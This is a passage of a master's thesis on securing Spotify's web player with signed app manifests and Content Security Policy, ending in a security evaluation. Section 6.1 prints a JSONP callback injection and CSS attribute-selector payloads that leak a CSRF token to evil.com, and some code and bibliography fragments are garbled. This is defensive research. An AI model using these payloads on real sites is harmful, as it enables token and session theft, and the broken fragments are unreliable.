This approach forces a developer to create policies for all JavaScript calls that need protection. It is essentially a blacklist and would become insecure if any critical function is forgotten or if the JavaScript language evolves to include other, potentially harmful, native functions. This policy system does not contain the functionality to reach the goals out of the box and would require manual implementation of huge policies to enable URL restrictions and API permission enforcement.

4.2 Caja

Caja is a policy system built and maintained by Google. It is a JavaScript, HTML and CSS compiler that transforms the code to be safe to integrate directly into any page. The transformation turns regular JavaScript code into a subset that is deemed safe. The subset is said to be an object-capability language [21], which implies that an object can only call functions on references to other objects and that there are strict rules on how to obtain those references. In Caja the hosting application must explicitly hand down references to the embedded JavaScript application to enable interaction with it.

This framework could be a good fit, since an app-specific reference to the Spotify JavaScript API could be passed to the app, effectively allowing API level permis-
sions to be applied to that reference, and the Caja compiler also allow for URL
whitelisting. The modifications required to third party and internal apps are how-
ever quite large.

4.3 HTML5 iFrame Sandbox

A new feature of HTML5 enabled a new attribute, sandbox, to be applied to iFrame
elements. This attribute will force the iFrame content to belong to the “null origin”,
an origin that does not match any origin, not even itself. This would effectively make
the Same-Origin Policy fail for interaction with any resource. This means that the
application can only interact with external web services that specifically allowed it
through the use of CORS with the wildcard origin (see section 3.2.3) or by using
HTML5 postMessage (see section 3.2.3).

The attribute also completely disables JavaScript and disables plugin content
such as Flash. It goes on to disable any form posting, top-level navigation, popups
and HTML5 pointer lock. The attribute can also take optional parameters to re-
enable a subset of the disabled features. Flash and other plug-in content can however
not be re-enabled once the sandbox attribute is set.

The low granularity of settings available for this standard makes it a bad fit for
solving any of the goals of this thesis.

4.4 CSP

The Content Security Policy (CSP) [26] is a standard derived from a proposal from
2010 and has by late 2012 reached partial adoption in Google Chrome, Safari, iOS
Safari and Firefox.

The standard proposes a new HTTP header that allows a web server to provide
the browser with a set of rules that it is forced to follow. If the Content-Security-Policy
HTTP header is present, the browser will default to disallowing plugin content, in-
line stylesheets and inline scripts. This means that script injected, e.g., by a code
injection vulnerability, into the DOM will not run as the browser would block code
enclosed in <script> as well as inline event handlers such as <img src=x onerror='code'/>

When the header is present the browser also disallows all JavaScript function-
ality that accept a string and evaluates it as JavaScript, e.g., eval(str) and
setTimeout(string, int). This, combined with the block of inline JavaScript,
effectively mitigates the code injection vulnerabilities described in section 3.1.1.

.net; script-src ssl.google-analytics.com 'unsafe-inline'; object-
src *; style-src * 'unsafe-inline'; connect-src wss://*.ap.spotify.
.com;

Above is an example of a Content-Security-Policy header, it allows the web server
to set a set of rules for which URLs the web browser showing the page is allowed
CHAPTER 4. RELATED WORK

to interact with. To enable a more granular configuration, different sets of URLs and rules can be set on a couple of pre-defined resource categories using resource directives, the ones available in the standard are outlined below.

- default-src is used by the browser for all resource directives that are omitted, if the default-src directive is omitted it defaults to ’none’, i.e., blocks all domains.
- connect-src specifies allowed WebSocket, XMLHttpRequest and EventSource URL’s.
- img-src specifies allowed image URL’s, applies for both images in the DOM and JavaScript Image objects.
- script-src specifies allowed external script URL’s. It also accept the keywords unsafe-inline, which re-enables inline script in the DOM, and unsafe-eval which disables the eval security features.
- font-src specifies allowed URL’s for externally referenced fonts.
- frame-src specifies allowed URL’s for nested browsing context such as iFrames.
- style-src specifies allowed URL’s for external stylesheets. This resource directive also allows the unsafe-inline keyword.
- media-src specifies URL’s from which media elements such as the audio and video HTML5 tags may load content.

While the CSP standard cannot be used to enforce API level permissions, it is a good candidate for enforcing URL restrictions and its functionality to turn of inline JavaScript is a good fit for limiting the impact of XSS attacks.
Chapter 5

Design and implementation

In this section we describe the design choices and architecture of the mechanisms implemented for this thesis. We begin, in section 5.1, by discussing how we built the mechanism used to transfer the manifest data from the third party app domain to a trusted domain where policies can be enforced. In section 5.2 we implement a way to restrict the amount of URLs that can be accessed by third party apps, with the intent to stop them from leaking data. We then, in section 5.3, describe our mechanism for making it more difficult for an attacker to gain code execution using a code injection vulnerability.

Requirements The main requirement is of course for the solutions to be secure, but to be useful in practice it is also important that they are scalable and perceived by end-users as fast and low-latency [7]. The design is also designed to be future proof, easy implementable and maintainable in the Web player code base. The mechanisms should also entail no or very limited need for modifications to existing web player and app code bases.

5.1 Web player manifest distribution

After an app has passed the approval process (see section 2.4.2) the manifest is in Spotify’s control and considered legitimate. In the desktop player the underlying core can simply read the manifest and enforce it since it has direct access to the application bundles. Within the web player, however, this is not as straightforward because the manifest is hosted by a separate backend on a different domain. This section describes the implementation of the mechanism built to distribute the manifest within the Spotify web player and the rationale behind the choice of method.

JavaScript is a highly dynamic language and boasts features to modify the behavior of code running within the same security context. Therefore the manifest verification and enforcement must be done in a security context that only runs trusted code. In the case of the web player this context is the Chrome (see section 2.3.2) since it does not run any third party code. It is also hosted on a different
domain than the one serving the apps and their manifests. This does however mean that the Chrome must either retrieve the manifest from the app domain or have the app provide it, using e.g., HTML5 postMessage.

We designed three custom approaches to address this, described below. All approaches were designed to be secure but one turned out to have theoretical timing issues and the final one was picked because of ease of implementation and faster app loading time.

**Using XMLHttpRequest** One method is for the Chrome to retrieve the manifest by making an XMLHttpRequest to the app domain for the manifest. This could however introduce race conditions because the app could load and make a privileged API request before the Chrome’s XMLHttpRequest has finished at which point the Chrome does not know the app’s allowed permissions. Another way is to first request the manifest, wait for the request to complete and then start loading the app, with added app load time as a result.

One may argue that the manifests could be replicated to the Chrome’s domain since they do not contain any code and could therefore not be malicious. While this is true it would not solve the problem since an XMLHttpRequest still has to be made before loading the app and thus still with delaying app loading time. Another way would be to preload all applications’ manifests but since there are more than 100 apps available, this approach would be unfeasible.

**Using pass-first postMessage** When an app is loaded in the web player (see section 2.3.2), the Spotify JavaScript API is loaded with it and its initialization function is run. At this point the API could issue a postMessage to the Chrome with the manifest. The app cannot issue a postMessage before the API initialization function is run because the JavaScript resources included within the page are executed as they appear on the page including them and the API is always included before the app’s code. To solve the fact that the app could post a new manifest to the Chrome using a second postMessage the bridge would only accept the first manifest passed to it. The HTML5 standard [16] does however not guarantee that messages sent using postMessage (see section 3.2.3) are delivered in-order, which could enable the third party app to pass a forged manifest first and thus add any permissions.

**Using signed manifest in postMessage** Instead the implemented mechanism utilizes public-key cryptography to securely pass the manifest. The backend used to host the apps generates a manifest signed using a private key. This signed manifest is embedded in the app’s resources and the API initialization routine passes the signed manifest to the Chrome using a postMessage where the manifest’s signature is verified using the public key certificate.
Figure 5.1 depicts the manifest signature generation and signature flow that is used when a new app is loaded in the web player.

1. The backend reads the JSON manifest and converts it into a string.
2. The backend signs the manifest string using RSA (RSASSA-PKCS1-v1.5 using SHA-1).
3. The backend serves the app’s resources and embeds a JSON-object with the manifest string and its signature.
4. The API (loaded with the app inside its security context) passes the JSON-object to the Chrome using a postMessage.
5. The Chrome verifies the manifest-string using the public key certificate.
6. The Chrome converts the manifest into a JSON object.
7. The Chrome verifies that the app identifier inside the manifest matches the origin domain of the postMessage.

The reason for using the RSASSA-PKCS1-v1.5 with SHA-1 is that it is supported in OpenSSL, used by the PHP backend to generate the signature; as well as in jsrsasign [27], a compatible JavaScript library used for verification in the frontend. Another reason for choosing that particular algorithm is that it is one of the algorithms included in the Web Cryptography API working draft [8], which aim to enable JavaScript access to native speed cryptography functions within the browser.
Replay attacks  A replay attack is when an app is able to send a manifest previously signed by the backend for either an older version of itself or for another app in order to e.g., get higher privileges. To protect against an app sending a manifest for another app the last step of the flow described above verifies the app identifier by matching it to the postMessage’s origin domain.

This does, however, not protect against a replay attack using an older version of the same app’s manifest. To mitigate such an attack, a scheme using a signature with expiry can be used. Essentially a timestamp is included within the signed data and the payload within is considered invalid if the timestamp is older than some value \(\Delta\). For the web player, a reasonable value for \(\Delta\) could be 24 hours; a stored version of the old manifest would then expire not long after a new version of the app reaches the end user.

A signature scheme with expiry would require the clocks in the backend and frontend (i.e., the bridge, responsible for verifying manifests) to be somewhat synced. The Spotify backend system uses a cross-datacenter synced clock and its timestamp can be obtained over the previously established secure communication channel using already existing functionality.

Performance Testing done in the frontend shows that recent versions of both Google Chrome and Mozilla Firefox JavaScript engines were able to verify a signature within 1-18ms. The PHP backend show similar numbers for the process of reading and signing the manifest with execution times of 14-40ms but with random spikes up to 200ms was observed, most likely due to load and disk I/O latency on the shared server where the testing was performed. However, since the manifest for a particular version of an app stays the same, all processing in the backend is cacheable, effectively removing all disk I/O and computational time from the backend system.

Bridge enforcement When a new app is instantiated by the application logic in the Chrome, a new custom Application object is also created in the bridge. When the Application object is created, a handle to the corresponding iFrame’s window is mapped to the new Application object. Once the postMessage carrying the manifest reaches the bridge, the message’s corresponding Application object is looked up using the browser-supplied window reference. The manifest is then parsed and verified according to the algorithm above and stored inside the Application object. The bridge now has access to the verified legitimate manifest and can enforce permissions on calls from the third party app accordingly. The bridge does, however, not have control over JavaScript within the third party app and can therefore not enforce the URL restrictions.
CHAPTER 5. DESIGN AND IMPLEMENTATION

5.2 Web player URL restrictions

In this section we describe the mechanism implemented to limit which URLs a third party app is allowed to interact with using the list specified within its manifest. We later discuss how the implemented mechanism also contributes to severely limiting the possibility of a code injection attack.

5.2.1 Using JavaScript policy systems

To implement these restrictions, one way is to restrict JavaScript itself. While safe JavaScript systems such as Lightweight self-protecting JavaScript (see section 4.1) and Caja (see section 4.2) are really interesting they are not mature enough or easy enough to implement policy-wise or integration-wise.

Lightweight self-protecting JavaScript Using Lightweight self-protecting JavaScript requires significant error-prone policy implementation. An attempt to implement these policies was done in an early stage of the thesis; the policies needed quickly grew as corner cases and complex JavaScript constructs were encountered.

For example, all DOM modifications must be monitored to restrict a malicious developer from making a new HTML image tag and attaching it somewhere in the DOM, which would load the image. All access to the DOM must also be wrapped so that the `innerHTML`, `outerHTML`, `src` and probably other property setters can be monitored since they can all be used to trigger a resource load. On top of this there is a vast number of methods for retrieving references to DOM objects and every single one must be monitored.

Caja Caja would require heavy modifications to all existing apps and an attempt to integrate an existing app was never attempted.

5.2.2 Using Web standards

Instead of using a JavaScript-based approach, this section shows two recently developed web standards, one of which is a viable options for enforcing URL restrictions.

iFrame sandbox The iFrame sandbox attribute (see section 4.3) is not configurable enough to be useful, since its maximum granularity is to turn off JavaScript completely.

Content Security Policy For URL restriction Content Security Policy (CSP) (see section 4.4) was chosen because it is a upcoming, browser supported, web standard and is easy to implement but, unfortunately, the requirements cannot be entirely fulfilled. This is because while the standard allows to restrict the URLs for a lot of resource types, some resources can still be loaded from arbitrary URLs (see section 6.1).
CHAPTER 5. DESIGN AND IMPLEMENTATION

The mechanism, implemented in the backend, works by parsing manifests and generating an appropriate CSP header. The CSP essentially allows the server to provide the browser with a whitelist of URLs. At first glance this whitelist seems easy to generate since the manifest specifies a list of allowed URLs. However, the manifest also specifies a list of dependencies for Spotify JavaScript API components, which in turn also can have URLs it needs as well as more dependencies. Below is how the backend that hosts apps would prepare a request for an app.

1. The app’s manifest is read by the backend
2. All dependencies are recursively visited and their manifests are read by the backend. Circular dependencies, which would result in an infinite loop, could occur but is avoided by keeping track of already visited apps’ identifiers.
3. All read manifests’ allowed URLs are added into a set
4. An appropriate CSP header is generated from the set of allowed URLs and the backend includes it in the response headers for the request

Generating the appropriate CSP header is done by the following process

1. The HTTP header field name is chosen depending on which web browser the user is using. For Chrome this prefix is the one defined in the CSP standard, namely “Content-Security-Policy”. For Firefox and Internet Explorer 10 the prefix is “X-Content-Security-Policy” and for Webkit-based browsers such as Safari for Mac and iOS the prefix is “X-WebKit-CSP”.
2. The HTTP field value is initialized to the empty string. The default-src directive is appended with the ‘self’ directive followed by the allowed URLs, space-separated. The directive is ended with a semicolon.
3. The script-src directive is appended with the ‘self’ directive followed by the allowed URLs, space-separated. The ‘unsafe-eval’ keyword is added and the directive is ended by semicolon.
4. The style-src directive is appended with the ‘self’ directive followed by the allowed URLs, space-separated. The ‘unsafe-inline’ keyword is added and the directive is ended by semicolon.
5. The img-src directive is appended with the ‘self’ and the ‘data:’ keyword followed by the allowed URLs, space-separated. The directive is ended by semicolon.

Note that the URL list included in every directive is the same; this is a must since the directives do not inherit from the default list when they are present. The ‘unsafe-eval’ directive is added to the script-src because some code in the web player utilizes eval constructs. This can potentially open up for vulnerabilities in
poorly developed application that uses eval to interpret user-controlled data. One common instance where eval is used improperly is when interpreting JSON data, where the `JSON.parse()` function should be used instead.

The 'unsafe-inline' in the `style-src` directive is also needed because of the use of inline stylesheets in the web player. There have been code injection attacks possible using inline stylesheets in the past, using Dynamic Properties in Internet Explorer but these are, since version 8, deprecated and removed in non-compatibility mode [20]. Furthermore, CSP forbids JavaScript code to be included in CSS [3] but in section 6.1 we show that vulnerabilities exist that do not rely on the use of JavaScript.

The 'data:' keyword in the `img-src` directive is needed because of legacy reasons. The native client has always allowed data: URLs and to make already approved apps work, this keyword is a must.

**Performance** Just like the manifest signatures described in section 5.1, this header will remain unchanged during all loads of the same version of an application and is thus entirely cacheable in the Spotify backend. Client-side, there was no measurable time difference as expected since the browser’s native code is doing the enforcement, which essentially should not be more than an array lookup.

Adding these URL restriction lists to the HTTP response header will increase its size. Using the generation method above the size increase to the response is the size of the constant keywords and the number and length of external URLs. This results in an increase in header size of $133 + 4 \cdot (\sigma + 1)$ bytes where $\sigma$ is the length of the space-separated list of URLs. For apps available in the Spotify desktop client, the size increase was between 133 bytes, for apps without any external URLs, up to almost 2 kilobytes for those with the most. A compression scheme like gzip would probably reduce the size significantly, because of the duplicate information, but compression is not possible on headers in the HTTP/1.1 standard and could lead to other security vulnerabilities, in particular side-channel attacks [5].

### 5.3 Limiting code injection attacks

This section describes how CSP was used to limit code injection attacks and the modifications that had to be done to the web application architecture.

**The mechanism** As described in 4.4, CSP cannot only be used to restrict what URLs the app is allowed to interact with. By introducing the header, inline JavaScript is completely disabled and combined with a strict set of URLs allowed for external script resources, it severely limits the possibility of successfully crafting a code injection vector. This is due to the fact that almost all code injection attacks rely on the fact that code is injected inline or loaded from an attacker-controlled domain.
One drawback of using CSP is that it cannot be used to its full potential on the web player’s Chrome. This is because all CSP rules set on a parent context is also enforced on its nested contexts (i.e., the iFrames containing apps) for security reasons. That means that if the Chrome’s CSP header does not allow all possible apps’ URLs, it must be set to allow any URL. With over 100 apps available, allowing all possible apps’ URLs would not be practical. While the CSP header cannot be used to restrict the URLs on the Chrome it can be used to disallow inline JavaScript. It does, however, not lead to any added protection, since an attacker can use a content injection vulnerability to load a malicious script from any external domain.

Despite CSP not solving injection in the Chrome is it still useful on apps, as these constitute a much larger code base.

5.3.1 Migrating inline JavaScript

The increased security for apps from the use of CSP comes from using a whitelist of external URLs combined with disabling inline scripts, removing one makes the entire web application just as vulnerable to XSS as without CSP. However, disabling inline JavaScript can be a huge hassle if an application is not built in a way that mainly uses external scripts. Fortunately, in the case for this thesis, applications built upon the Spotify Apps Platform use a highly modular system made up of almost only external resources.

The web player’s Chrome did however have some generated JavaScript code containing dynamic data, including sensitive authentication data, directly injected as inline JavaScript in the HTML generated by the backend.

To solve this, we designed three approaches, which all were implemented and tested.

**Dynamic external JavaScript**  The first, naive, approach was to create a new endpoint, which could be included by a page as external JavaScript. This endpoint would simply reply with the same JavaScript code as the one previously injected, inline, to the HTML.

For static scripts without sensitive data this approach would not pose a problem but a problem arises for JavaScript that contains sensitive data, i.e., dynamically generated JavaScript. Since the SOP does not apply to valid JavaScript resources loaded by using HTML script tags, any website could include the dynamically created JavaScript, including the sensitive data within, to be loaded into their security context where code running there could steal the data.

To mitigate the issue of external websites stealing data a Referer[sic]-check was implemented and evaluated. The Referer header is always set, by the browser, to the URL from which the request is originating. The check would then verify that the domain set was one controlled by Spotify. While this method meets the main requirements of being secure and scalable, it could become hard to maintain if more domains were to be added and bugs leading to Referer spoofing have happened before [12].
CHAPTER 5. DESIGN AND IMPLEMENTATION

Instead a variant of the mechanism above that instead uses a new mechanism similar to CSRF tokens (see section 3.1.3) was designed. The mechanism works by having the web server inject unguessable tokens as part of the query string to all HTML script tags with security critical URLs (scripts with dynamic data) on the main page of the Chrome. This unguessable token is then sent when the browser requests the scripts, at which point it is verified by the backend. This works because even though SOP does not apply to valid JavaScript (see section 3.2.2) it does apply to web pages in general, which means that an external page cannot get a hold of the token. Below is an example of how the Chrome is including the dynamically generated JavaScript file containing sensitive data by using a query string with a token.

```html
<script src="/data/ap-init.php?token=abcd1234"></script>
```

The backend receives the request with the token and verifies, using a server-side stored state that it is the same as the one it injected into the Chrome.

Script nonce During the writing of this thesis a new version of the CSP standard, version 1.1 [4], was released, which includes a similar design of the token solution we designed above, namely `script-nonce`. It also uses unguessable tokens, or `nonces` (number used once). This nonce is inserted into the CSP header as well as in all inline JavaScript blocks that should be allowed to run, effectively overriding the CSP for those inline script blocks.

The main difference in this solution is that these nonces do not have to be stored by the web server, cross requests. One drawback is that since it is a very new concept in the specification, the `nonce-<random nonce>` keyword has not been implemented to the `script-src` directive in any browser as of yet.

The XMLHttpRequest approach The second approach designed used an XMLHttpRequest to retrieve the data from a new JSON endpoint, to which SOP applies. This opened up for a race condition where the data was not loaded when the bridge was initializing and broke the entire web player. This race condition arose because of the asynchronous behavior of XMLHttpRequests, but was fixed by configuring the XMLHttpRequest to be blocking. The race condition could also have been solved by fetching the data asynchronously and initialize the bridge when the data is received, but it would require a rewrite of the web player architecture and considered outside the scope of this thesis.

This mechanism is slightly more secure than the others designed, which stems from the fact that the sensitive data is never part of the DOM and is therefore protected from the data leakage vulnerability described in section 6.1.

HTML5 data attributes A new feature in HTML5 is the inclusion of data attributes into the standard that enables a developer to “[embed] custom non-visible data” [16]. This third approach was early in the thesis rejected as a viable option because the misconception that the DOM had to be completely loaded and parsed
before the attributes could be accessed, leading to the same race conditions as the XMLHttpRequest approach.

However, an HTML parser parses an HTML document top-down and it was later discovered that data attributes are accessible through JavaScript as soon as they are parsed, i.e., setting data attributes with the sensitive data on the HTML head tag would make them accessible to all scripts declared within and after the head section of the HTML document.

```html
<html>
<head data-config='{ "foo" : "bar" }'>
<script src='...'></script>
...
</head>
<body></body>
</html>
```

The data in the example above can then be accessed by the scripts using the following code snippet.

```javascript
var config = JSON.parse(document.head.dataset.config);
console.log(config.foo); // "bar"
```

The HTML5 data attributes can also easily be made backwards-compatible with older browsers not supporting HTML5 by, e.g., using common JavaScript frameworks such as jQuery. In practice this solution has the same properties in terms of security, scalability and backwards-compatibility as the first solution but without added complexity from token generation and verification. This solution was finally chosen because it requires less round-trips to the backend, which is highly relevant for latency; on a slow network, e.g., a 3G mobile network, a round-trip is very likely to be slower than 100ms. These reduced amounts of round-trips are a result from the data being contained in one single resource rather than several external ones.
Chapter 6

Security evaluation

This section aims to discuss the level of security achieved by the mechanisms implemented in this thesis and presents ways to, in special cases, circumvent them.

Security model  The attacks performed here are made to replicate an attacker trying to get code execution or access to data within the security context of either the Chrome or an internal or third party app. The attacker is assumed to not have access to the user’s network and man-in-the-middle attacks are beyond the scope of this thesis.

The impact of code execution or data leakage in an app is highly dependent on which app it occurs in. Many apps rely on additional authentication, most commonly using Facebook, where an attack can lead to a stolen session cookie with the vulnerable application’s permissions.

Testbed setup  The most common client-side vulnerability in online web applications is XSS and this is true for our third party apps as well. In order to test the protection developed for the web player and particularly the apps within, the backend code used to inject dependencies into apps was modified to reflect an HTTP query parameter into the generated code.

Most modern browsers have implemented XSS filters, heuristics to see if the request parameters seem to contain JavaScript that is also present within the requested page. If that is the case, the browser assumes that the JavaScript code was injected and refuses to run it, even if it is only a reference to an external script. While testing JavaScript injections using Google Chrome, this filter had to be turned off to enable successful attacks using JavaScript. This could easily be done in the testbed by including the \texttt{X-XSS-Protection} HTTP header with the value 0.

The original value used by the web player is \texttt{1; mode=block}, which will enable the heuristics and, if a JavaScript vector is found, redirects the browser to an empty page.
CHAPTER 6. SECURITY EVALUATION

6.1 Attacks on the Content-Security-Policy

CSP is a relatively new standard and has not been deployed by many web pages on the internet and research on attack vectors for CSP is non-existent. While reading about and implementing CSP some obscure security flaws were found. One flaw is stemming from the JSONP legacy way of doing cross-origin interactions and one in Google Chrome’s implementation of the CSP standard.

We also discuss how attribute selectors in the CSS markup language can be used to exfiltrate information without the use of JavaScript.

JSONP reflection attack

If any JSONP endpoint (see section 3.2.3) exists within the allowed URLs for script-src and its callback parameter is not sanitized, CSP’s inline JavaScript block is rendered ineffective. This is because an attacker can include this JSONP endpoint with a malicious payload as a callback parameter. Imagine a CSP protected site A allowing scripts from B, no inline JavaScript but with an XSS vector present. An attacker could then inject the following snippet:

```html
<script src="http://B.se/jsonp?callback=alert(0);//"></script>
```

B is allowed in A’s CSP configuration and would answer with

```javascript
alert(0);//{"data": "baz"}
```

at which point the attackers injected code would execute. This kind of reflection attack has been present long before the introduction of CSP but was previously unnecessary step in exploitation. This attack was found independently but later found described in [30].

A JSONP endpoint, without sanitized callback, present in any of an app’s allowed domains would lead to a code injection vulnerability. Since the Chrome cannot do any domain restriction, a code injection vulnerability there could lead to JavaScript execution much easier by simply including an externally hosted, malicious, JavaScript.

Data leakage bugs

In section 6.1 we described one scenario where an attacker who found a way to exploit an XSS vulnerability can use that to exfiltrate information. Even if an attacker used the JSONP reflection attack to e.g., gain access to an authenticated users session cookie, CSP should stop her from exfiltrating anything since she cannot send it to her domain as long as it is not in the list of allowed URLs.

As the CSP specification states, it should “[let] the authors (or server administrators) of a web application inform the client from where the application expects to load resources” [26]. Bugs in Google Chrome, however, allows the browser to
connect to arbitrary URLs, outside the scope of the CSP header using HTML Link elements.

Link elements allow a developer to “link their document to other resources” [16] and while Google Chrome properly applies the policies Link element with relation to a CSS stylesheet, it does not do so to Link elements relating to a icon or an subresource.

The icon relation refers to the icon often used in the top bar of the browser and when bookmarking a page. This relation is covered by the CSP specification as being supposed to be covered by the img-src CSP directive. This issue has been reported to, and fixed by, Google [14].

The subresource relation is Google Chrome specific and is used to improve performance by making the browser start fetching a resource early on. This subresource can be any type of data and does not fit in to any of the directives described in the CSP specification.

CSS attribute selector leakage  CSS is a markup language used to apply style to a HTML document. It, among other things, allows a developer to style HTML elements based on their attributes using a feature called attribute selectors.

Imagine an app utilizing the CSRF protection using tokens described in 3.1.3 where a CSRF token is included inside a hidden form field:

```html
<form>
  <input type="hidden" name="token" value="abcd1234"/>
</form>
```

An attacker could then include a stylesheet with an attribute selector:

```css
input[value^=a] {
  background-image: url('http://evil.com/a')
}
```

The style above would match all input fields which have an attribute, value, which default value begins with ‘a’. In this case it would be true for the token field which would load the image resource and the attacker would know that the CSRF token starts with ’a’. Obtaining the entire CSRF token is now simply a matter of brute forcing letter by letter, e.g. using an iFrame on a malicious page, by injecting new stylesheets depending on the result from the last.

This attack is a variant on an old vulnerability [29] repurposed to, in some cases, circumvent the protection gained from using CSP. It requires a content injection vulnerability and the ability to load images from an attacker-controlled external domain (in the example above case evil.com). In the case of the Spotify web player it would be difficult to mount an attack like this within a third party app since the allowed URLs for images there are limited. It would be possible to attack the Chrome using this attack since no URL restriction exists there (see section 5.3) but
simply using an externally hosted JavaScript would be a faster and easier attack, if not for the XSS filter.

Circumventing CSP while avoiding the XSS filter  The XSS filter does often successfully mitigate JavaScript execution from a content injection vulnerability but it does only apply to content that seems to be JavaScript. This makes the data leakage described in section 6.1 more interesting. To see why, let us look at what could happen if a content injection vulnerability was present in the Chrome within a browser with its XSS filter enabled. In section 5.3.1 we describe methods using the DOM to store sensitive data, using HTML5 data attributes and dynamically generated JavaScript. In the case of dynamic JavaScript, scripts in the Chrome would be loaded like below:

```html
<script src="/data/ap-init.php?token=abcd1234"></script>
```

While an attacker cannot mount a XSS attack using JavaScript because of the XSS filter, it is fully possible for an attacker to inject a stylesheet. Weirdly enough, Google Chrome allows CSS to apply style to any element type, even script tags. This opens up for brute force extraction of the CSRF token using an injected style like:

```css
script[src='token']{src=$"4"
  background-image: url('http://evil.com/4');
}
```

The above style would match all script tags that contain the value “token” inside its “src” and ends with “4”. When it matches the background image is downloaded from the remote domain, evil.com, effectively leaking data.

This was tested and working in Google Chrome and Safari and while Firefox would apply the style to the script tag, it would not automatically download the external resource. The theory was that the script tag has the default CSS value display: none and that Firefox do not download background image resources for elements that are not meant to be displayed. Changing the injected style to apply a new display value like:

```css
script[src='token']{src=$"4"
  display: block;
  background-image: url('http://evil.com/4');
}
```

made Firefox download the external resource automatically as well.

This could be used to steal the token protecting the dynamically created JavaScript that is containing sensitive authentication data. The rogue page could, after brute forcing the token, include the resource within their security context and steal the data.

This attack vector is not only a result from including the 'unsafe-inline' in the stylesheet directive in the CSP but also from the inability to restrict the URLs which is because of the nested child context (see section 5.3). One solution to this
CHAPTER 6. SECURITY EVALUATION

would be to use a new token for every request; because even though data leakage is still possible, an attacker would have to guess the entire token at once.

The 'script-nonce' directive introduced in CSP 1.1 (described in 5.3.1) is vulnerable but virtually impossible to exploit. This is because even if the attacker got the nonce, e.g., using the CSS attribute selector vector, exploitation would be extremely difficult because the next time the page is loaded and the attacker has the ability to inject content, the browser will have a new nonce.

The XMLHttpRequest solution chosen in section 5.3.1 is not vulnerable to this attack since the data is not stored within the DOM but instead transferred directly to the JavaScript context.

Navigation

These rather obscure vulnerabilities are not the only thing that can lead to data leakage and the CSP specification is not claiming to fix that either. There still remains places where the browser will leak and practically nothing a developer can do to fix it using browser standards available today.

One example where data leakage is possible is in basic navigation using HTML a (hyperlink) elements, which can be dynamically created and clicked by JavaScript. This feature has been the foundation for multi-page web pages since the beginning of the web. However in recent years, JavaScript based applications that do not need navigation have become very popular; a way to disable navigation could further add to the protection already gained by using the upcoming CSP standard.
Chapter 7

Discussion

In this section we draw conclusions on the implemented mechanisms as well as the current state of web security mechanisms.

This thesis has described the implementation of two mechanisms that achieve the thesis’ three goals. The first mechanism is the manifest distribution mechanism using public-key cryptography. The second is the inclusion of the CSP header to restrict URLs and to limit the impact of XSS attacks.

When it comes to manifest distribution the web player is now on par with the desktop client. The mechanism developed is a good fit for web applications where a trusted backend is hosting third party apps with approved manifests. Back porting the mechanism to the desktop client to unify the implementation would make sense if the increased complexity and computational overhead of signing and verification can be tolerated.

The addition of the CSP header in the web player and browsers’ XSS filters makes it more robust against code injection attacks than the desktop client. While the mechanism is a good start against code injection attacks, additional features would be highly beneficial to the overall solution.

7.1 Additions to web standards

In this section we propose additions to web standards that would further improve security for websites embedding third party content.

Data exfiltration prevention In order to create a more robust protection against prevent data exfiltration we propose the following additions to existing web standards:

- Add restrictions to the iFrame sandbox directive described in section 4.3 to disallow navigation entirely from within the iFrame.

- Add a new resource directive, ‘other-src’, to the CSP header that must be used for all web features used to access remote domains but that does not
match any other resource directive. This directive would also restrict navigation to only allow navigation to the domains specified unless one of the new keywords: 'unsafe-navigation' or 'disable-navigation' is supplied. The 'unsafe-navigation' would enable navigation to any domain and 'disable-navigation' would completely disable navigation. The preloading of resources using a sub-resource Link element, described in section 6.1, is another example of what would be limited by this resource directive.

These additions would significantly reduce the ability to exfiltrate data, which with current web standards is very difficult to do.

Disabling navigation is a controversial and drastic change to the way the web works today and needs to be carefully specified to not open up for web security vulnerabilities. One rather obscure functionality that needs to be disabled is the history back from JavaScript, without it disabled an attacker could redirect the user to a trusted site with an XSS vulnerability after bouncing twice via her own domain and then in the injected script go back one or two steps in the browser history, effectively exfiltrating binary data.

CSP header flexibility As seen in section 6 the Chrome cannot gain the same protection as third party apps because of the inheritance rules of CSP. An addition to the standard to allow an iFrame to override the parent’s CSP would be highly beneficial but can easily introduce security vulnerabilities.

A solution using a nonce in the DOM (similar to the script nonce keyword described in section 5.3.1) is not suitable because an adversary that gain code execution could steal the nonce from another DOM node, create a new iFrame with another CSP policy using the stolen nonce and use it to exfiltrate data.

Instead we propose the following addition to the CSP standard:

- Add a new CSP resource directive ’csp-override’, which specifies which domains that, when included as a nested browsing context, may override the parents CSP policy. The resource directive defaults to the 'none' keyword, which will retain current functionality where the CSP cannot be overridden. The resource directive also supports the 'self' keyword, which would allow all nested contexts with the same origin to override the CSP header.

If a CSP header is not sent for a nested context which domain is included in the parents ’csp-override’ directive, the nested context would be loaded without any CSP policy.

This way the Chrome could enforce URL restrictions for itself while having a third party app within a nested context supply a new CSP policy to be enforced on that context.

The ’csp-override’ resource directive needs to be implemented with caution since a less strict CSP policy within a supplied domain could be leveraged to exfiltrate data from the parent context using, e.g., a content injection vulnerability (see section
3.1.1) or an open redirect (see section 3.1.4). The issue could become even worse if a developer includes the ‘self’ keyword. Since the domain is the same origin, SOP would allow an attacker to use JavaScript to directly modify the nested context to communicate with a potentially malign domain without the use of an open redirect or content injection vulnerability.

7.2 Legacy support

While the manifest distribution mechanism is backwards compatible to the extent of the verification library used (jsrsasign), browsers that do not support CSP would not be able to restrict the URLs nor have the added XSS protection.

Combining the CSP with Caja or Lightweight self-protecting JavaScript could, if properly implemented, add more protection on modern browsers as well as add security enhancements to non-CSP enabled browsers. These enhancements are dependent on how these mechanisms are implemented and how much the developer policies cover.

7.3 Conclusion

The web security field is a quickly moving field of research with a lot of potential. The CSP specification provides a good start on prevention of code injection attacks and the added functionality proposed in this thesis could be another step on the way to a safer web.

We have looked at the solution for Spotify but the developed mechanisms could also be applied to other websites providing third party code through mashups or widgets, e.g., apps within Facebook or the iGoogle widgeting system.
Acknowledgements

We thank Gunnar Kreitz for continuous support and feedback on the report and would also like to thank Adam Barth for providing insight and feedback on questions and thoughts about the CSP standard.
Bibliography


BIBLIOGRAPHY

[10] Tom DeGarmo et.al. technologyforecast - The business value of APIs.  
[Online; accessed 24-May-2013].

[Online; accessed 31-May-2013].

[12] Gregory Fleischer. window.location race condition can be used to spoof referer header.  
[Online; accessed 30-Jul-2013].

[Online; accessed 24-May-2013].

[Online; accessed 27-Aug-2013].

http://www.w3.org/TR/webmessaging/, May 2012.  
[Online; accessed 04-Jun-2013].

[16] David Hyatt and Ian Hickson. HTML 5.  
[Online; accessed 04-Jun-2013].

[17] Henrik Kniberg and Anders Ivarsson. Scaling agile @ spotify.  
[Online; accessed 06-Sep-2013].


[Online; accessed 24-May-2013].

